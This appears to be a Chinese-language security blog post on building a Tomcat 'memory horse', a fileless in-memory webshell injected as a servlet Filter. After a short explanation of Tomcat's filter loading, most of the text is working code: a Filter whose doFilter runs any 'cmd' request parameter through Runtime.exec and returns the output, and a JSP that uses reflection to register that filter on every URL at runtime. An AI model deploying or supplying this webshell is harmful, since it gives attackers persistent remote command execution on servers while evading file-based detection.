【免杀技术】Tomcat内存马-Filter

Tomcat内存马-Filter型

什么是内存马？为什么要有内存马？什么又是Filter型内存马？这些问题在此就不做赘述

Filter加载流程分析

tomcat启动后正常情况下对于Filter的处理过程：

加载web.xml配置文件
读取filter的信息，并将其保存在context对象里的filterDef,filterConfigs,filterMappers中
filterChain的构造流程:1. 匹配请求路径，找到对应的filter 2. 将匹配的filter加入filterChain中 3.执行filterChain

利用jsp文件完成动态注册恶意filter

需要解决的问题

怎么获取context对象
利用动态加载，如何修改filterConfigs，filterDefs，filterMaps，将恶意filter插入。

恶意Filter对象

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("添加");
        String cmd = servletRequest.getParameter("cmd");
        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
        while(true) {
            String tmp = null;
            if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {
                servletResponse.getOutputStream().print(tmp);
            }else{
                break;
            }
        }
        return;
    }

在这里可以jsp进行注入

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
    <center><h1>Dynamic Memory-Type Horse</h1></center>
</body>
</html>

<%
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext();

    if(context.findFilterDef("Filter_new")==null){
        //2.配置过滤器并初始化FilterDef
        String newFilterName = "Filter_new";
        String newFilterClass = "sec.aur0ra.filter.Filter";

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(newFilterName);
        filterDef.setFilterClass(newFilterClass);

        //3. 注册FilterDef
        context.addFilterDef(filterDef);

        //4. 创建并注册FilterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("Filter_new");
        filterMap.addURLPattern("/*");

        context.addFilterMapBefore(filterMap);
        //context.addFilterMap(filterMap);

        //5. 添加FilterConfig
        Constructor constructor = null;
        try {
            //获取FilterConfigs对象
            Field Configs = context.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(context);

            constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef);

            filterConfigs.put(newFilterName, filterConfig);
        } catch (Exception e){
            ;
        }

    }
    FilterMap[] filterMaps = context.findFilterMaps();
    System.out.println("注册成功");
%>